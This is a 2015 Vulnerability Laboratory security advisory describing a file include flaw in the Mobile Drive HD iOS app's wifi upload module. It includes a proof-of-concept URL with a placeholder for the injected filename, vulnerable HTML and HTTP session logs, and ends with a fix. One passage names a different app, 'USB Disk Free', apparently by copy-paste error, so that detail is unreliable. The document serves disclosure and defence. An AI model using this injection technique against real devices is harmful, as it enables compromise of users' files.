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[FD] Mobile Drive HD v1.8 - File Include Web Vulnerability

Document Title:
===============
Mobile Drive HD v1.8 - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1446


Release Date:
=============
2015-03-11


Vulnerability Laboratory ID (VL-ID):
====================================
1446


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, 
iPad and Cloud. Mobile Drive allows you to manage 
documents and organize them. You can quickly upload and download documents via 
email and the popular cloud storage services.

(Copy of the Vendor Homepage: 
https://itunes.apple.com/en/app/mobile-drive-hd-document-cloud/id626102554 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered file include web 
vulnerability in the Mobile Drive HD v1.8 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2015-03-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Keke Cai
Product: Mobile Drive HD- iOS Mobile Web Application 1.8


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official USB 
Disk Free - File Manager & Transfer v1.0 iOS mobile application.
The local file include web vulnerability allows remote attackers to 
unauthorized include local file/path requests or system specific path commands 
to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` 
module. Remote attackers are able to inject own files with malicious 
`filename` values in the `upload` POST method request to compromise the mobile 
web-application. The local file/path include execution occcurs in 
the index file dir listing of the wifi interface. The attacker is able to 
inject the local file include request by usage of the `wifi interface` 
in connection with the vulnerable upload POST method request. 

Remote attackers are also able to exploit the filename issue in combination 
with persistent injected script codes to execute different malicious 
attack requests. The attack vector is located on the application-side of the 
wifi service and the request method to inject is POST. 

The security risk of the local file include web vulnerability is estimated as 
high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user 
interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application 
compromise or connected device component compromise.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Upload

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] Index File Dir Listing 
(http://localhost:8080/)


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by local attackers 
without privileged application user accounts or user interaction.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.

PoC: 
http://localhost:8080/files/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png


PoC: Vulnerable Source
<tr class="shadow"><td><a href="/files/%3Ciframe%3E2.png" class="file">[LOCAL 
FILE INCLUDE VULNERABILITY!]%3E/2.png</a></td><td class='del'>
<form action='/files/%3C[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png' 
method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' 
/></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 
Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------21144193462
Content-Disposition: form-data; name="newfile"; filename="[LOCAL FILE INCLUDE 
VULNERABILITY!]%3E/2.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[2739] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 
Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2739]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/jquery.js Load Flags[LOAD_NORMAL] Größe des 
Inhalts[55774] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 
Firefox/35.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[55774]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/files?Mon%20Mar%2009%202015%2015:26:02%20GMT+0100 
Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[62] Mime Type[text/plain]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 
Firefox/35.0]
      Accept[application/json, text/javascript, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[62]
      Cache-Control[private, max-age=0, must-revalidate]
      Content-Type[text/plain; charset=utf-8]
      Date[Mo., 09 März 2015 14:24:13 GMT]


Reference(s):
http://localhost:8080/files/
http://localhost:8080/jquery.js


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value 
in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in 
the filename value to prevent arbitrary file upload attacks.
Encode the output in the file dir index list with the vulnerable name value to 
prevent an application-side injection attacks.


Security Risk:
==============
The security risk of the local file include web vulnerability in the upload 
POST method request is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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